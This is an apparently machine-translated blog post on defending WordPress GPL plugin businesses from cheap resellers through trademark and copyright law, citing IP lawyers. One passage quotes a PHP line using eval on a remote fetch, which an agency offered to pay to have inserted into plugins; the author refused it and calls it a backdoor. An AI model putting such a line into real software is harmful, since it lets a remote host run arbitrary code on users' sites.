1. Разработчики по-прежнему обладают правами, которые могут применяться, даже если их плагины распространяются...
2. Почему троллинг плагинов вреден для вашего бизнеса плагинов?
3. Поддержка злоупотребления
4. Повреждение бренда
5. Почему троллинг плагинов плох для пользователей?
6. Никакой поддержки
7. Нет автоматических обновлений
8. Основные утечки безопасности
9. Что покрывают лицензии с открытым исходным кодом?
10. Что не распространяется на лицензии с открытым исходным кодом?
11. Что защищено товарными знаками?
12. Защищен ли код торговой маркой?
13. Как подать заявку на регистрацию товарного знака?
14. Что делать, если ваша торговая марка нарушена?
15. Что защищено авторскими правами?
16. Что делать, если ваши авторские права нарушены?
17. Заключение

Лицензирование программного обеспечения может быть очень запутанным предметом, особенно в мире открытого кода. Границы законности и этики не всегда ясны. Но поскольку владельцы бизнеса сосредоточились на продаже плагинов WordPress GPL, мы обязаны тщательно разбираться в этих темах.

Этот пост не будет посвящен этике и будет посвящен юридическим соображениям. Он предоставит вам пошаговую формулу, включая отзывы опытных юристов в этой области, чтобы защитить ваш бизнес WordPress от плагинов «троллей».

Как разработчик плагинов за последние пять лет, я прочитал множество статей, в которых обсуждается GPL, его свободы и проблемы, связанные с ведением GPL-совместимого бизнеса. Но за последние несколько месяцев эта тема стала для меня еще более значимой.

В августе за мной последовала учетная запись Twitter под названием «Плагины WordPress» (https://twitter.com/plugswp). По привычке я проверил их профиль, чтобы узнать больше об этом пользователе. Вскоре я обнаружил, что этот обработчик связан с «wppluginscheap.com», троллем плагинов и тем, который позиционирует себя как «источник номер 1 для дешевых премиум-плагинов и тем WordPress». Просматривая сайт, я нашел много популярных премиальных плагинов. как Yoast SEO, Backup Buddy, WP Robot и 50 премиум тем. Каждый продукт продается менее чем за 10 долларов.

Наивный, как я, я прыгнул на WPChat и начал новый поток :

Мы все кодировали под угрозой, что какой-то тролль появится и перепродаст наши плагины / темы GPL по смешным ценам. Ну ... это здесь Как насчет покупки Yoast Premium SEO за $ 4,00 ... Я немного взбешен и, с другой стороны, удивлен, так как знал, что это когда-нибудь появится.

Я задал сообществу два вопроса:
1. Как нам его снять?
2. Чувствуете ли вы угрозу?

Параллельно я зашел в группу Advanced WordPress Facebook и загрузил следующий статус:

Joost de Valk и Thomas Höfter, если вы, ребята, не начали продавать свои плагины менее чем за 10 долларов, я думаю, что эти парни нарушают ваши торговые марки (и дюжину других разработчиков плагинов). Как мы можем получить это?

Если вы являетесь членом группы AWP, вы можете проверить весь нить здесь ,

Обе темы вызвали большой интерес и обсуждения. Я получил 17 ответов в WPChat и 84 комментария в группе AWP Facebook. Как только ответы начали накапливаться, я понял две вещи:
1. Плагин WordPress / тематические тролли являются эпидемией - это происходит везде!

Это происходит в течение длительного времени, хотя в основном с темами и надстройками WooCommerce. Смотрите gplclub.org и sozot.com. WPAvengers.com сделал нечто подобное, прежде чем они закрылись.

- Лиланд Фигель, основатель WPChat

2. Несмотря на то, что существуют сотни сообщений в блогах по каждому аспекту лицензии GPL, в экосистеме все еще много путаницы. Даже среди влиятельных лиц. Похоже, что многие люди думают, что это технически нормально (хотя и неэтично), так как плагины и темы лицензируются по лицензии GPL.

Эти оппортунисты появляются время от времени и, кажется, никогда ничего не значат. Это законно (часть GPL, в любом случае), но неэтично. Это ленивый. И это плохо для покупателей, потому что товар в сомнительной форме, устаревший, неподдерживаемый и подозрительный.

- Стивен Глиб, разработчик тем и основатель каталога Pro Plugin

Это неэтично, однако, если я, как владелец магазина тем / плагинов, выпускаю под лицензией GPL, я бы сказал, что я чувствую, что я еще более неэтичен, если могу сказать это, чем эти парни и полный лицемер.

- Ионут Нягу, основатель CodeinWP

Другие комментарии, полученные на Facebook, включали:

• Если плагины были лицензированы под GPL, то я боюсь, что они ничего не могут сделать
• Я не думаю, что премиум-версии находятся под GPL
• Это законно, под GPL

И их намного больше!

Итак, прежде чем мы начнем, позвольте мне кое-что прояснить -

Это совершенно неправильно!

Разработчики по-прежнему обладают правами, которые могут применяться, даже если их плагины распространяются по лицензии с открытым исходным кодом.
Эти «тролли плагинов» могут по-прежнему нести ответственность за нарушение прав на товарный знак и / или нарушение авторских прав.

Хочу добавить, что я прочитал множество мнений о том, что эти тролли не наносят вреда бизнесу. Если бы это было так, я бы не стал тратить так много времени на составление этого поста. Я хотел бы воспользоваться возможностью, чтобы объяснить причины, по которым тролли вредны для сообщества WordPress - для вашего бизнеса, а также для пользователей WordPress.

Почему троллинг плагинов вреден для вашего бизнеса плагинов?

Потерянные доходы

Нравится вам это или нет, но большинство пользователей купят или получат ваш премиальный плагин с этих сайтов. Особенно новички в WordPress. Если бы я был новичком в экосистеме WordPress и искал плагин для SEO, Yoast SEO за 4 доллара звучит гораздо привлекательнее, чем полная цена. Я бы просто купил его. Точно так же, как я всегда ищу лучшую скидку, когда я покупаю смартфон или другие продукты. Мне не нужна «оригинальная гарантия», так как я никогда не использовал ее ни с одним из приобретенных продуктов, поэтому поддержка - это не то, что пользователи имеют в виду с самого начала.

Поддержка злоупотребления

Если есть какие-то проблемы с плагином, купленным у тролля - угадайте, кто в этом виноват? Конечно, настоящий разработчик / компания. Если изображение, связанное с вашим брендом, будет воспроизведено, клиенты свяжутся с вами. Также как если бы я купил смартфон HTC на Amazon, когда у меня возникают проблемы с устройством, я звоню в службу технической поддержки HTC, а не в Amazon. Что бы вы сказали пользователю? «Да, это наш телефон, но вам нужно связаться с Amazon для получения технической поддержки». Этот ответ будет трудно переварить пользователю. Похоже, вы не поддерживаете свои продукты.

Если есть какие-то проблемы с плагином, купленным у тролля - угадайте, кто в этом виноват?

Повреждение бренда

Нет сомнений, что некоторые тролли внедряют вредоносный код в плагины. Основным стимулом для этого является получение доходов при бесплатном распространении премиальных плагинов. Я сам был свидетелем этого. Два года назад ко мне обратился старший SEO-специалист из агентства BIG UK (более 100 сотрудников). , Он предложил сотрудничать со мной, добавив одну простую строку кода в наш плагин:
eval (wp_remote_get ('http://www.company.com/path/to/api/endpoint/') ['body']);

Идея заключалась в том, что конечная точка API будет возвращать скрытые URL-адреса, чтобы подтолкнуть обратные ссылки своих портфельных компаний. Один из примеров, которые он послал, был:

<a href="otedhttp://www.portfolio-company.com книг"> Великая компания </a>

Тролли могут внедрять вредоносный код в плагины, используя ваш оригинальный бренд, что наносит прямой ущерб вашему бренду!

Это было до Google Penguin и было отличным SEO взломом. И предложение было фантастическим - 0,1 доллара за домен в месяц. Так что, если бы у меня было 100 000 активных доменов, использующих мой плагин, я мог бы генерировать $ 10 000 / мес. доходы без траты лишней минуты. Круто верно? Очевидно, что мы этого не делали по разным причинам, в первую очередь потому, что этот код был ОЧЕНЬ вредоносным. Он открывает удаленный бэкдор, чтобы делать все, что вы хотите с сайтом. Даже если агентство планировало использовать его только для SEO, что произойдет, если его сервер будет взломан и кто-то с плохими намерениями захватит контроль? Кто знает, сколько законных плагинов WordPress.org сотрудничали с этим агентством ... Возвращаясь к троллям, их намерения носят чисто финансовый характер. Они не продвигают ваши премиальные плагины для развлечения, они хотят зарабатывать деньги. И если они совершают незаконные действия, такие как нарушение авторских прав и торговых марок, ничто не мешает им генерировать альтернативные источники дохода, такие как инъекции кода. О, и я забыл упомянуть, что если что-то подобное случится, то вы виноваты! Это ваш продукт и ваш бренд.

Почему троллинг плагинов плох для пользователей?

По многим из тех же причин, которые я упомянул, но с точки зрения пользователя.

Никакой поддержки

Перед лицом технической проблемы тролль не может вам помочь. Это не их продукт, они не имеют ни малейшего представления о коде или о том, как решить любые связанные проблемы. Более того, у них нет ресурсов поддержки, чтобы сделать это. И если вы попытаетесь связаться с оригинальной компанией, разработчики премиальных плагинов имеют инфраструктуру для отслеживания своих клиентов. Компания часто не поможет вам, пока вы не купите оригинальную лицензию.

Незаконные перераспределители плагинов не могут и не помогут вам с техническими проблемами.

Нет автоматических обновлений

Большинство премиальных плагинов на рынке сегодня имеют механизм лицензирования и обновлений (тролли часто «взламывают» эту часть, прежде чем распространять плагин). Механизм автоматического обновления работает так, что раз в 24 часа плагин проверяет сервер оригинальной компании, чтобы узнать, есть ли какие-либо обновления для премиум-версии. Он также аутентифицируется с помощью лицензионного ключа. Так как плагин тролля никогда не выпускался с лицензионным ключом от оригинальной компании, этот механизм обновлений НЕ будет работать. Поэтому каждый раз, когда устанавливается неоригинальный премиум-плагин, автоматические обновления отсутствуют. Это плохо, так как хакеры постоянно находят новые творческие уязвимости, а устаревший премиальный плагин может быть причиной утечки безопасности.

Пиратские плагины WordPress не имеют механизма автоматического обновления - постоянная уязвимость безопасности!

Основные утечки безопасности

Помните одну вредоносную строку кода, о которой я упоминал выше? Хотели бы вы, чтобы бэкдор на ваш сайт был открыт для хакеров? Этот бэкдор буквально позволяет хакеру изменять каждый пиксель и фрагмент контента на вашем сайте. И это только один пример, я уверен, что есть много других творческих уколов там.

Что покрывают лицензии с открытым исходным кодом?

Поскольку в сообществе разработчиков эти вопросы явно путаются, я обратился к своему другу, Ариэль Рейниц и его коллега Мэтью Хинц которые являются адвокатами по интеллектуальной собственности (ИС) (патенты, товарные знаки и авторские права) в ТОО Lowenstein Sandler , общенациональная фирма с офисами из Нью-Йорка в Пало-Альто.

Ариэль объяснил мне, что, хотя технически плагин WP «тролли» может иметь право на распространение кода, который находится под лицензией с открытым исходным кодом (например, GPL), существуют другие права интеллектуальной собственности («IP»), которые не подпадают под действие открытого источника. лицензия, которую эти «тролли» могут по-прежнему нарушать.

Ариэль Рейниц, адвокат по интеллектуальной собственности

Вот что Ариэль говорит о GPL:

Важно понимать, что такое лицензия с открытым исходным кодом ( GPLv2 ) под которой распространяется большинство плагинов WordPress, распространяется (и не распространяется):

Лицензия с открытым исходным кодом определяет порядок распространения программного обеспечения / исходного кода. Как правило, такие лицензии позволяют любому лицу бесплатно использовать, модифицировать и т. Д. Программное обеспечение / код. Таким образом, исходный код проекта с открытым исходным кодом может распространяться другими сторонами без нарушения условий GPL.

Проще говоря, свобода GPL позволяет любому человеку брать исходный код и делать с ним все, что он захочет, включая распространение. Я считаю, что в сообществе существует консенсус по этому вопросу.

Что не распространяется на лицензии с открытым исходным кодом?

Однако лицензии с открытым исходным кодом (включая GPLv2), как правило, не распространяются на товарные знаки. Торговые марки относятся к способу маркировки продукта (например, плагина, темы, приложения и т. Д.) - например, название продукта (и / или компании, из которой он происходит), его слоган / слоган и / или его логотип. Таким образом, хотя исходный код проекта может свободно распространяться по лицензии с открытым исходным кодом, такая лицензия не предоставляет другим лицам никаких прав в отношении товарных знаков, связанных с проектом (например, название продукта, компания, которая его разработала, так далее.).

Другими словами, GPL не позволяет использовать какие-либо торговые марки плагина, такие как название продукта, название компании и логотип. Ариэль приводит нам пример:

Так, например, если третья сторона распространяет плагин WordPress, используя весь оригинальный бренд проекта (например, продвигая его с оригинальным названием, логотипом и т. Д. Компании / проекта), это, вероятно, нарушит торговую марку оригинального разработчика. прав. Как уже отмечалось, лицензия с открытым исходным кодом не позволяет кому-либо использовать чужой брендинг в коммерческом контексте. Это важно, потому что один из основных принципов законодательства о товарных знаках заключается в защите потребителя от путаницы относительно того, откуда поступает продукт.

Основные принципы законодательства о товарных знаках не только защищают бизнес, но и защищают потребителя от недоразумений относительно того, откуда поступает продукт. Это важное замечание!

Также важно признать, что многие компании с открытым исходным кодом регистрируют, защищают и контролируют свои права на товарные знаки. Примеры включают в себя: Linux , MySQL , Красная шляпа , а также WordPress ,

Ариэль говорит здесь о том, что многие крупнейшие имена в open source защищают и охраняют свои права на товарные знаки. Почему бы нам не сделать то же самое?

Если Red Hat может защищать и охранять свои права на товарные знаки, почему не могут разработчики плагинов?

В дополнение к правам на товарный знак, Ариэль отметил, что разработчики также имеют право на защиту авторских прав на материалы, которые они производят, которые не являются частью исходного кода:

Также важно признать, что GPL (и другие лицензии с открытым исходным кодом) охватывают только исходный код самого плагина. Но если разработчик создает материалы, которые не являются частью исходного кода (например, графика, рекламные материалы, упаковка и т. Д.), Эти материалы не подпадают под действие GPL, и разработчик не будет обязан разрешать другой стороне перераспределить материалы.

Например, взгляните на то, как плагин «Yoast» представлен на некоторых сайтах «троллей», упомянутых выше. Хотя эти сайты технически могут распространять исходный код Yoast (поскольку он подпадает под действие GPL), эти сайты также включают такие элементы, как брендинг Yoast (например, название и логотип Yoast, являющиеся товарными знаками), а также другие креативные материалы, разработанные Yoast (например, изображение парня, пьющего чай, которое не является частью исходного кода Yoast и, следовательно, авторские права принадлежат Yoast и не подпадают под действие GPL).

Итак, хотя тролль может по закону иметь право распространять исходный код Yoast, GPL (или другая лицензия с открытым исходным кодом) не дает им права использовать (a) брендинг (торговые марки) Yoast или (b) другую графику, материалы и т. Д. ., (авторские права) . Поскольку они не являются частью исходного кода плагина, эти элементы не подпадают под действие GPL, и, следовательно, права интеллектуальной собственности (IP) на эти элементы являются исключительной собственностью разработчика .

Поскольку плагин «тролли» использует товарные знаки разработчика и материалы, защищенные авторским правом (как в приведенных выше примерах «Yoast»), существуют юридические процедуры (которые мы подробно рассмотрим ниже), которые разработчики могут использовать для реализации этих прав, чтобы остановить, отговорить или хотя бы попытаться ограничить влияние, которое эти «тролли» могут оказать на ваш бизнес. Опять же, это правда, даже если ваш плагин распространяется по лицензии GPL.

Что защищено товарными знаками?

Мэтью Хинтц, адвокат по интеллектуальной собственности

Мэтью объясняет, что покрывают торговые марки:

Проще говоря, торговая марка - это уникальный идентификатор для потребителей, который отличает источник товаров или услуг от других. Чаще всего товарный знак представляет собой слово, логотип или некоторую комбинацию этих элементов. В Соединенных Штатах права на товарные знаки начинаются с использования в торговле (так называемые «права общего права»), а не с регистрации в Управлении по патентам и товарным знакам США (ВПТЗ США). Тем не менее, регистрация вашего товарного знака в USPTO предоставляет владельцу множество преимуществ, недоступных в рамках прав общего права. В частности, они включают в себя свидетельство исключительного права владельца регистрации использовать знак на всей территории Соединенных Штатов в связи с товарами или услугами, указанными в регистрации, конструктивное уведомление о том, что владелец регистрации является владельцем товарного знака, включение регистрации в USPTO. онлайн-база данных и возможность использовать символ ®. (До регистрации символ ТМ можно использовать с товарным знаком.)

Защищен ли код торговой маркой?

В ходе моего исследования я прочитал несколько постов, в которых упоминалось, что при создании лицензированного подключаемого модуля или темы под GPL код должен быть подвергнут рефакторингу, чтобы убедиться в отсутствии функций, включающих идентификатор торговой марки как часть имени функции. Чтобы уточнить это, я спросил Мэтью, если код также защищен товарным знаком, и вот ответ:

Сам код не защищен торговой маркой. Торговые марки защищают слово или логотип, которые потребитель ассоциирует с вашими товарами или услугами. В этом случае ограничение на защиту торговой марки для плагина будет ограничено словом или логотипом, используемыми для продажи плагина потребителям. И затем фундаментальный тест на нарушение прав на товарные знаки заключается в том, могут ли потребители быть смущены сходством двух знаков. Сходство оценивается по таким вещам, как визуальное и фонетическое сходство, насколько тесно связаны товары / услуги для каждого знака, насколько различимы знаки и как долго они использовались.

Чтобы уточнить ответ на языке разработчика:

• Имена классов, имена функций, имена переменных и имена констант НЕ защищены товарным знаком.
• С другой стороны, строки, которые печатаются на странице и видны конечным пользователям, защищены товарным знаком.

Как подать заявку на регистрацию товарного знака?

Чтобы получить преимущества федеральной регистрации товарного знака, ваш товарный знак должен быть зарегистрирован в ВПТЗ США. Заявка на регистрацию должна содержать основную информацию: имя заявителя / владельца, знак, товары или услуги, с которыми используется знак, свидетельство использования знака с этими товарами или услугами, а также даты первого использования этого знака. , Соображения для вашего приложения:

• Найдите в базе данных USPTO TESS (http://www.uspto.gov/trademark) те же или похожие знаки. Если такие же или аналогичные знаки применяются или уже зарегистрированы, они могут быть основанием для отклонения вашего заявления. Также ищите через Google или другие поисковые службы, поскольку знак может использоваться без регистрации и обладать превосходными правами на этот знак, несмотря на вашу регистрацию. Регистрация не исчерпывает права на товарный знак предыдущего пользователя.
• Для описания ваших товаров или услуг ищите в Руководстве USPTO по идентификации приемлемый язык: http://tess2.uspto.gov/netahtml/tidm.html , Вы также можете найти приемлемый язык на TESS.
• Классы - это общие указания, касающиеся определенных полей для товаров или услуг. Например, загружаемые плагины обычно находятся в классе 9, который охватывает все компьютерные программы и программное обеспечение.
• Плата за заявку на товарный знак определяется количеством классов. Общая плата составляет 275 долларов США за урок, но доступны более дешевые и менее дорогие варианты регистрации.

После того как заявка подана, ВПТЗ США проверит ее, чтобы определить, является ли знак уникальным идентификатором (то есть не описательным или не похожим ли до смешения на ранее поданные заявки или регистрации). В ВПТЗ США указаны сроки подачи заявок: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines ,

Имейте в виду, что защита товарных знаков является территориальной. Например, регистрация в Соединенных Штатах обеспечит защиту товарных знаков в Соединенных Штатах.

Как описал Мэтью, этот процесс не обязательно сложен, но требует времени и усилий. Я бы порекомендовал заплатить адвокату среднего звена, чтобы сделать это за вас. Это должно стоить вам от 200 до 2000 долларов за работу, хотя это сэкономит ваше время и обеспечит лучшее применение. В любом случае, прежде чем начать, Google это! Если вы обнаружите, что продукт или компания (особенно в той же или аналогичной области) соответствуют вашему точному термину / фразе, есть большая вероятность, что вы НЕ сможете зарегистрировать товарный знак (и, возможно, на самом деле вы нарушаете чужую 'else).

Что делать, если ваша торговая марка нарушена?

Я начну с того, что вы НЕ должны делать - если это нарушение авторских прав, а не авторских прав, вы НЕ должны подавать DMCA.

DMCA покрывает только нарушение авторских прав. По товарным знакам аналогичного положения не имеется. Использование уведомлений об отклонении DMCA для заявок на товарные знаки может привести к тому, что заявитель будет нести ответственность за ложные заявления.

Как правило, проще всего попытаться решить вопросы напрямую с владельцем сайта. Если это не удастся, вы можете инициировать судебный иск против владельца веб-сайта, хоста и т. Д. Конкретный подход, который вы выберете, скорее всего, будет зависеть от конкретного случая, и на этом этапе я бы предложил обратиться к адвокату, чтобы выяснить лучший вариант в ваших конкретных обстоятельствах ,

Что защищено авторскими правами?

Авторское право отличается от торговой марки. Авторское право защищает оригинальные авторские произведения, зафиксированные в некоторой форме выражения. Однако ограничение защиты авторских прав заключается в том, что оно распространяется только на выражение, а не на идею. Категории работ по защите авторских прав включают литературные произведения (книги, код), музыкальные произведения, фотографии и изображения, кинофильмы, звукозаписи и другие категории. Другим ограничением является то, что авторское право не защищает короткие фразы или выражения - это остается для защиты товарных знаков, если они функционируют в качестве уникального идентификатора для потребителей, который отличает источник товаров или услуг от других.

Что делать, если ваши авторские права нарушены?

1. Вначале часто проще всего связаться с владельцем сайта напрямую. Во многих случаях владелец веб-сайта заинтересован не больше, чем вы в привлечении адвокатов, участии в судебных разбирательствах и т. Д. Попробуйте найти на сайте учетную запись в твиттере, контактную электронную почту или контактную страницу и отправить сообщение с требованием удаления Ваш плагин с торговой маркой с сайта.
2. Если это не поможет, вы можете отправить уведомления об удалении DMCA (Закон о защите авторских прав в цифровую эпоху). Есть несколько генераторов, которые помогут вам создать один, просто Гугл для «генератора тейкдауна dmca» , Получив уведомление, вам необходимо отправить его владельцу сайта, хостинговой компании и интернет-провайдеру. При желании вы также можете отправить уведомление поисковым системам, чтобы удалить сайт из результатов поиска. Чтобы найти хостинговую компанию, вы можете использовать такие сайты, как whoishostingthis.com , Чтобы найти интернет-провайдера, вы можете использовать такие сайты, как http://www.whoismyisp.org/ , Чтобы найти соответствующую ссылку для подачи DMCA на интернет-провайдера / хостинг, поищите в Google ISP_NAME / HOSTING_NAME + DMCA.

Кроме того, вы можете инициировать судебный процесс против владельца сайта, хоста и т. Д. Я предлагаю связаться с адвокатом, чтобы понять, является ли это лучшим вариантом в ваших конкретных обстоятельствах.

Заключение

Я надеюсь, что этот набор пошаговых инструкций предоставил вам правильные инструменты для защиты вашего бизнеса плагинов GPL от троллей. Просто резюме:

• Как владелец бизнеса, вы имеете право и должны защищать бренд и активы вашей компании.
• Торговые марки и авторские права являются относительно дешевыми и эффективными способами юридической защиты вашего бизнеса плагинов. Таким образом, вы должны настоятельно рассмотреть вопрос о регистрации товарных знаков для названия вашей компании и названия продуктов.
• Многие тролли нарушают как авторские права (например, лишая вашу рекламную графику), так и торговые марки (используя вашу торговую марку). Создавая уникальную торговую марку, логотип и обложку, вы создаете портфель, помогающий бороться с нарушением авторских прав.

Многие тролли нарушают как авторские права, так и торговые марки. Создавая уникальную торговую марку, логотип и обложку, вы создаете портфель, помогающий бороться с нарушением авторских прав.

Если на стороннем веб-сайте указан ваш премиальный плагин или тема GPL, для продажи или бесплатной раздачи без вашего согласия:

• Если на сайте используются ваши оригинальные произведения искусства или другие материалы - это, вероятно, нарушение авторских прав. Вы можете подать DMCA тейкдаун.
• Если веб-сайт использует товарный знак вашей компании или продукта, скорее всего, это нарушение прав на товарный знак. Вы можете инициировать судебное разбирательство против сайта.

Если у вас есть какие-либо дополнительные мысли о правовых и этических последствиях GPL, не стесняйтесь поделиться ими в комментариях ниже.

Отличные ссылки:

Похожие

Комментарии